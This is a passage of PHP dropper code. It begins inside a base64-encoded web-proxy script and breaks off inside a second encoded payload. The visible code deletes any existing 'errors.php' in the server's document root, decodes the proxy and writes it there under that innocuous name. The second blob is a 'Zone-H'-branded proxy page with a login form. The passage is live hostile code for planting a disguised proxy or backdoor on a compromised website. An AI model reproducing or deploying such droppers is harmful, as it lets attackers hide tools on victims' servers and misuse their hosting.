dHAtZXF1aXYnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcjXihccypbMC05XSpccyo7XHMqdXJsPSkoLiopI2knLCAkYXR0cnNbJ2NvbnRlbnQnXSwgJGNvbnRlbnQpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgeyAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snY29udGVudCddID0gICRjb250ZW50WzFdIC4gY29tcGxldGVfdXJsKHRyaW0oJGNvbnRlbnRbMl0sICciXCcnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnaGVhZCc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ3Byb2ZpbGUnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1sncHJvZmlsZSddID0gaW1wbG9kZSgnICcsIGFycmF5X21hcCgnY29tcGxldGVfdXJsJywgZXhwbG9kZSgnICcsICRhdHRyc1sncHJvZmlsZSddKSkpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ2FwcGxldCc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2NvZGViYXNlJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICRfYmFzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVybF9wYXJzZShjb21wbGV0ZV91cmwocnRyaW0oJGF0dHJzWydjb2RlYmFzZSddLCAnLycpIC4gJy8nLCBmYWxzZSksICRfYmFzZSk7DQogICAgICAgICAgICAgICAgICAgICAgICB1bnNldCgkYXR0cnNbJ2NvZGViYXNlJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2NvZGUnXSkgJiYgc3RycG9zKCRhdHRyc1snY29kZSddLCAnLycpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydjb2RlJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWydjb2RlJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ29iamVjdCddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydvYmplY3QnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ29iamVjdCddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydhcmNoaXZlJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2FyY2hpdmUnXSA9IGltcGxvZGUoJywnLCBhcnJheV9tYXAoJ2NvbXBsZXRlX3VybCcsIHByZWdfc3BsaXQoJyNccyosXHMqIycsICRhdHRyc1snYXJjaGl2ZSddKSkpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRlbXApKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkX2Jhc2UgPSAkdGVtcDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdvYmplY3QnOg0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWyd1c2VtYXAnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1sndXNlbWFwJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWyd1c2VtYXAnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snY29kZWJhc2UnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gJF9iYXNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgdXJsX3BhcnNlKGNvbXBsZXRlX3VybChydHJpbSgkYXR0cnNbJ2NvZGViYXNlJ10sICcvJykgLiAnLycsIGZhbHNlKSwgJF9iYXNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRhdHRyc1snY29kZWJhc2UnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snZGF0YSddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydkYXRhJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWydkYXRhJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2NsYXNzaWQnXSkgJiYgIXByZWdfbWF0Y2goJyNeY2xzaWQ6I2knLCAkYXR0cnNbJ2NsYXNzaWQnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snY2xhc3NpZCddID0gY29tcGxldGVfdXJsKCRhdHRyc1snY2xhc3NpZCddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydhcmNoaXZlJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2FyY2hpdmUnXSA9IGltcGxvZGUoJyAnLCBhcnJheV9tYXAoJ2NvbXBsZXRlX3VybCcsIGV4cGxvZGUoJyAnLCAkYXR0cnNbJ2FyY2hpdmUnXSkpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCR0ZW1wKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJF9iYXNlID0gJHRlbXA7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGFyYW0nOg0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWyd2YWx1ZXR5cGUnXSwgJGF0dHJzWyd2YWx1ZSddKSAmJiBzdHJ0b2xvd2VyKCRhdHRyc1sndmFsdWV0eXBlJ10pID09ICdyZWYnICYmIHByZWdfbWF0Y2goJyNeW1x3ListXSs6Ly8jJywgJGF0dHJzWyd2YWx1ZSddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWyd2YWx1ZSddID0gY29tcGxldGVfdXJsKCRhdHRyc1sndmFsdWUnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnZnJhbWUnOg0KICAgICAgICAgICAgICAgIGNhc2UgJ2lmcmFtZSc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ3NyYyddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydzcmMnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ3NyYyddKSAuICcmbmY9MSc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snbG9uZ2Rlc2MnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snbG9uZ2Rlc2MnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ2xvbmdkZXNjJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0YWdzWyR0YWddIGFzICRhdHRyKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWyRhdHRyXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1skYXR0cl0gPSBjb21wbGV0ZV91cmwoJGF0dHJzWyRhdHRyXSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICANCiAgICAgICAgaWYgKCRyZWJ1aWxkKQ0KICAgICAgICB7DQogICAgICAgICAgICAkbmV3X3RhZyA9ICI8JHRhZyI7DQogICAgICAgICAgICBmb3JlYWNoICgkYXR0cnMgYXMgJG5hbWUgPT4gJHZhbHVlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRkZWxpbSA9IHN0cnBvcygkdmFsdWUsICciJykgJiYgIXN0cnBvcygkdmFsdWUsICInIikgPyAiJyIgOiAnIic7DQogICAgICAgICAgICAgICAgJG5ld190YWcgLj0gJyAnIC4gJG5hbWUgLiAoJHZhbHVlICE9PSBmYWxzZSA/ICc9JyAuICRkZWxpbSAuICR2YWx1ZSAuICRkZWxpbSA6ICcnKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMF1bJGldLCAkbmV3X3RhZyAuICc+JyAuICRleHRyYV9odG1sLCAkX3Jlc3BvbnNlX2JvZHkpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGlmICgkX2ZsYWdzWydpbmNsdWRlX2Zvcm0nXSAmJiAhaXNzZXQoJF9HRVRbJ25mJ10pKQ0KICAgIHsNCiAgICAgICAgJF91cmxfZm9ybSAgICAgID0gJzxkaXYgc3R5bGU9IndpZHRoOjEwMCU7bWFyZ2luOjA7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzcyNTU1NDtjb2xvcjojMDAwMDAwO2JhY2tncm91bmQtY29sb3I6I0YyRkRGMztmb250LXNpemU6MTJweDtmb250LXdlaWdodDpib2xkO2ZvbnQtZmFtaWx5OkJpdHN0cmVhbSBWZXJhIFNhbnMsYXJpYWwsc2Fucy1zZXJpZjtwYWRkaW5nOjRweDsiPicNCiAgICAgICAgICAgICAgICAgICAgICAgIC4gJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInIC4gJF9zY3JpcHRfdXJsIC4gJyI+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgLiAnIDxsYWJlbCBmb3I9Il9fX18nIC4gJF9jb25maWdbJ3VybF92YXJfbmFtZSddIC4gJyI+PGEgaHJlZj0iJyAuICRfdXJsIC4gJyI+QWRkcmVzczwvYT46PC9sYWJlbD4gPGlucHV0IGlkPSJfX19fJyAuICRfY29uZmlnWyd1cmxfdmFyX25hbWUnXSAuICciIHR5cGU9InRleHQiIHNpemU9IjgwIiBuYW1lPSInIC4gJF9jb25maWdbJ3VybF92YXJfbmFtZSddIC4gJyIgdmFsdWU9IicgLiAkX3VybCAuICciIC8+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgLiAnIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImdvIiB2YWx1ZT0iR28iIC8+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgLiAnIFtnbzogPGEgaHJlZj0iJyAuICRfc2NyaXB0X3VybCAuICc/JyAuICRfY29uZmlnWyd1cmxfdmFyX25hbWUnXSAuICc9JyAuIGVuY29kZV91cmwoJF91cmxfcGFydHNbJ3ByZXZfZGlyJ10pIC4nICI+dXAgb25lIGRpcjwvYT4sIDxhIGhyZWY9IicgLiAkX3NjcmlwdF9iYXNlIC4gJyI+bWFpbiBwYWdlPC9hPl0nDQogICAgICAgICAgICAgICAgICAgICAgICAuICc8YnIgLz48aHIgLz4nOw0KDQogICAgICAgIGZvcmVhY2ggKCRfZmxhZ3MgYXMgJGZsYWdfbmFtZSA9PiAkZmxhZ192YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCEkX2Zyb3plbl9mbGFnc1skZmxhZ19uYW1lXSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkX3VybF9mb3JtIC49ICc8bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSInIC4gJF9jb25maWdbJ2ZsYWdzX3Zhcl9uYW1lJ10gLiAnWycgLiAkZmxhZ19uYW1lIC4gJ10iJyAuICgkZmxhZ192YWx1ZSA/ICcgY2hlY2tlZD0iY2hlY2tlZCInIDogJycpIC4gJyAvPiAnIC4gJF9sYWJlbHNbJGZsYWdfbmFtZV1bMF0gLiAnPC9sYWJlbD4gJzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICRfdXJsX2Zvcm0gLj0gJzwvZm9ybT48L2Rpdj4nOw0KICAgICAgICAkX3Jlc3BvbnNlX2JvZHkgPSBwcmVnX3JlcGxhY2UoJyNcPFxzKmJvZHkoLio/KVw+I3NpJywgIiQwXG4kX3VybF9mb3JtIiAsICRfcmVzcG9uc2VfYm9keSwgMSk7DQogICAgfQ0KfQ0KDQokX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXSA9ICdDb250ZW50LURpc3Bvc2l0aW9uJzsNCiRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1kaXNwb3NpdGlvbiddWzBdID0gZW1wdHkoJF9jb250ZW50X2Rpc3ApID8gKCRfY29udGVudF90eXBlID09ICdhcHBsaWNhdGlvbi9vY3RldF9zdHJlYW0nID8gJ2F0dGFjaG1lbnQnIDogJ2lubGluZScpIC4gJzsgZmlsZW5hbWU9IicgLiAkX3VybF9wYXJ0c1snZmlsZSddIC4gJyInIDogJF9jb250ZW50X2Rpc3A7DQokX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtbGVuZ3RoJ10gPSAnQ29udGVudC1MZW5ndGgnOw0KJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdID0gc3RybGVuKCRfcmVzcG9uc2VfYm9keSk7ICAgIA0KJF9yZXNwb25zZV9oZWFkZXJzICAgPSBhcnJheV9maWx0ZXIoJF9yZXNwb25zZV9oZWFkZXJzKTsNCiRfcmVzcG9uc2Vfa2V5cyAgICAgID0gYXJyYXlfZmlsdGVyKCRfcmVzcG9uc2Vfa2V5cyk7DQoNCmhlYWRlcihhcnJheV9zaGlmdCgkX3Jlc3BvbnNlX2tleXMpKTsNCmFycmF5X3NoaWZ0KCRfcmVzcG9uc2VfaGVhZGVycyk7DQoNCmZvcmVhY2ggKCRfcmVzcG9uc2VfaGVhZGVycyBhcyAkbmFtZSA9PiAkYXJyYXkpDQp7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICR2YWx1ZSkNCiAgICB7DQogICAgICAgIGhlYWRlcigkX3Jlc3BvbnNlX2tleXNbJG5hbWVdIC4gJzogJyAuICR2YWx1ZSwgZmFsc2UpOw0KICAgIH0NCn0NCg0KZWNobyAkX3Jlc3BvbnNlX2JvZHk7DQo/Pg==\';
$pathz = $_SERVER[\'DOCUMENT_ROOT\'].\'/\'.\'errors.php\';
if(file_exists($pathz)) @unlink($pathz);
$contentz = base64_decode($filez);
$txtz = fopen($pathz,"a+");
fwrite($txtz, $contentz);
fclose($txtz);
$file3 = \'PD9waHAgDQoNCmlmIChiYXNlbmFtZShfX0ZJTEVfXykgPT0gYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKQ0Kew0KICAgIGV4aXQoMCk7DQp9DQoNCmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+JzsNCg0KPz4NCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIGxhbmc9ImVuLVVTIiB4bWw6bGFuZz0iZW4tVVMiPg0KPGhlYWQ+DQogIDx0aXRsZT5ab25lLUg8L3RpdGxlPg0KICA8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJzdHlsZS5jc3MiIHRpdGxlPSJEZWZhdWx0IFRoZW1lIiBtZWRpYT0iYWxsIiAvPg0KICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KLnN0eWxlMSB7DQoJZm9udC1mYW1pbHk6IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJZm9udC1zaXplOiAxMnB4Ow0KfQ0KYTpsaW5rIHsNCgljb2xvcjogIzAwRkYwMDsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOnZpc2l0ZWQgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgljb2xvcjogIzAwRkYwMDsNCn0NCmE6aG92ZXIgew0KCXRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOw0KCWNvbG9yOiAjRkZGRjAwOw0KfQ0KYTphY3RpdmUgew0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgljb2xvcjogI0ZGRkYwMDsNCn0NCi0tPg0KICA8L3N0eWxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMSIgLz48L2hlYWQ+DQo8Ym9keSBiZ2NvbG9yPSIjMDAwMDAwIiB0ZXh0PSIjMDBGRjAwIiBvbmxvYWQ9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhZGRyZXNzX2JveCcpLmZvY3VzKCkiPg0KPGRpdiBpZD0iY29udGFpbmVyIj4NCiAgPGgxIGlkPSJ0aXRsZSI+PGNlbnRlcj4NCiAgICA8dT4uLjo6WyBab25lLUggXTo6Li48L3U+DQogIDwvY2VudGVyPjwvaDE+DQo8ZGl2IGNsYXNzPSJzdHlsZTEiIGlkPSJMYXllcjEiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgd2lkdGg6NTA2cHg7IGhlaWdodDo0NjdweDsgei1pbmRleDoxOyBsZWZ0OiAzNTNweDsgdG9wOiA5NHB4OyI+DQoNCiAgPHVsIGlkPSJuYXZpZ2F0aW9uIj4NCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkR0xPQkFMU1snX3NjcmlwdF9iYXNlJ10gPz4iPlVSTCBGb3JtPC9hPjwvbGk+DQogICAgPGxpPjxhIGhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoJ2Nvb2tpZSBtYW5hZ21lbnQgaGFzIG5vdCBiZWVuIGltcGxlbWVudGVkIHlldCcpIj5NYW5hZ2UgQ29va2llczwvYT48L2xpPg0KICA8L3VsPg0KPD9waHANCg0Kc3dpdGNoICgkZGF0YVsnY2F0ZWdvcnknXSkNCnsNCiAgICBjYXNlICdhdXRoJzoNCj8+DQogIDxkaXYgaWQ9ImF1dGgiPjxwPg0KICA8Yj5FbnRlciB5b3VyIHVzZXJuYW1lIGFuZCBwYXNzd29yZCBmb3IgIjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGF0YVsncmVhbG0nXSkgPz4iIG9uIDw/cGhwIGVjaG8gJEdMT0JBTFNbJ191cmxfcGFydHMnXVsnaG9zdCddID8+PC9iPg0KICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvICRHTE9CQUxTWydfY29uZmlnJ11bJ2Jhc2ljX2F1dGhfdmFyX25hbWUnXSA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gYmFzZTY0X2VuY29kZSgkZGF0YVsncmVhbG0nXSkgPz4iIC8+DQogICAgPGxhYmVsPlVzZXJuYW1lIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VybmFtZSIgdmFsdWU9IiIgLz48L2xhYmVsPiA8bGFiZWw+UGFzc3dvcmQgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgdmFsdWU9IiIgLz48L2xhYmVsPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4iIC8+DQogIDwvZm9ybT48L3A+PC9kaXY+DQo8P3BocA0KICAgICAgICBicmVhazsNCiAgICBjYXNlICdlcnJvcic6DQogICAgICAgIGVjaG8gJzxkaXYgaWQ9ImVycm9yIj48cD4nOw0KICAgICAgICANCiAgICAgICAgc3dpdGNoICgkZGF0YVsnZ3JvdXAnXSkNCiAgICAgICAgew0KICAgICAgICAgICAgY2FzZSAndXJsJzoNCiAgICAgICAgICAgICAgICBlY2hvICc8Yj5VUkwgRXJyb3IgKCcgLiAkZGF0YVsnZXJyb3InXSAuICcpPC9iPjogJzsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRkYXRhWyd0eXBlJ10pDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBjYXNlICdpbnRlcm5hbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICdGYWlsZWQgdG8gY29ubmVjdCB0byB0aGUgc3BlY2lmaWVkIGhvc3QuICcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ1Bvc3NpYmxlIHByb2JsZW1zIGFyZSB0aGF0IHRoZSBzZXJ2ZXIgd2FzIG5vdCBmb3VuZCwgdGhlIGNvbm5lY3Rpb24gdGltZWQgb3V0LCBvciB0aGUgY29ubmVjdGlvbiByZWZ1c2VkIGJ5IHRoZSBob3N0LiAnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICdUcnkgY29ubmVjdGluZyBhZ2FpbiBhbmQgY2hlY2sgaWYgdGhlIGFkZHJlc3MgaXMgY29ycmVjdC4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2V4dGVybmFsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJGRhdGFbJ2Vycm9yJ10pDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICdUaGUgVVJMIHlvdVwncmUgYXR0ZW1wdGluZyB0byBhY2Nlc3MgaXMgYmxhY2tsaXN0ZWQgYnkgdGhpcyBzZXJ2ZXIuIFBsZWFzZSBzZWxlY3QgYW5vdGhlciBVUkwuJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAyOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICdUaGUgVVJMIHlvdSBlbnRlcmVkIGlzIG1hbGZvcm1lZC4gUGxlYXNlIGNoZWNrIHdoZXRoZXIgeW91IGVudGVyZWQgdGhlIGNvcnJlY3QgVVJMIG9yIG5vdC4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3Jlc291cmNlJzoNCiAgICAgICAgICAgICAgICBlY2hvICc8Yj5SZXNvdXJjZSBFcnJvcjo8L2I+ICc7DQogICAgICAgICAgICAgICAgc3dpdGNoICgkZGF0YVsndHlwZSddKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnZmlsZV9zaXplJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJ1RoZSBmaWxlIHlvdXIgYXJlIGF0dGVtcHRpbmcgdG8gZG93bmxvYWQgaXMgdG9vIGxhcmdlLjxiciAvPicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ01heGl1bXVtIHBlcm1pc3NpYmxlIGZpbGUgc2l6ZSBpcyA8Yj4nIC4gbnVtYmVyX2Zvcm1hdCgkR0xPQkFMU1snX2NvbmZpZyddWydtYXhfZmlsZV9zaXplJ10vMTA0ODU3NiwgMikgLiAnIE1CPC9iPjxiciAvPicNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ1JlcXVlc3RlZCBmaWxlIHNpemUgaXMgPGI+JyAuIG51bWJlcl9mb3JtYXQoJEdMT0JBTFNbJ19jb250ZW50X2xlbmd0aCddLzEwNDg1NzYsIDIpIC4gJyBNQjwvYj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2hvdGxpbmtpbmcnOg0KICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAnSXQgYXBwZWFycyB0aGF0IHlvdSBhcmUgdHJ5aW5nIHRvIGFjY2VzcyBhIHJlc291cmNlIHRocm91Z2ggdGhpcyBwcm94eSBmcm9tIGEgcmVtb3RlIFdlYnNpdGUuPGJyIC8+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnRm9yIHNlY3VyaXR5IHJlYXNvbnMsIHBsZWFzZSB1c2UgdGhlIGZvcm0gYmVsb3cgdG8gZG8gc28uJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgZWNobyAnQW4gZXJyb3IgaGFzIG9jY3VyZWQgd2hpbGUgdHJ5aW5nIHRvIGJyb3dzZSB0aHJvdWdoIHRoZSBwcm94eS4gPGJyIC8+JyAuICRtZXNzYWdlIC4gJzwvcD48L2Rpdj4nOw0KICAgICAgICBicmVhazsNCn0NCj8+DQogIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddID8+Ij4NCiAgICA8dWwgaWQ9ImZvcm0iPg0KICAgICAgPGxpIGlkPSJhZGRyZXNzX2JhciI+PGxhYmVsPldlYiBBZGRyZXNzIDxpbnB1dCBpZD0iYWRkcmVzc19ib3giIHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8gJEdMT0JBTFNbJ19jb25maWcnXVsndXJsX3Zhcl9uYW1lJ10gPz4iIHZhbHVlPSI8P3BocCBlY2hvIGlzc2V0KCRHTE9CQUxTWydfdXJsJ10pID8gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snX3VybCddKSA6ICcnID8+IiB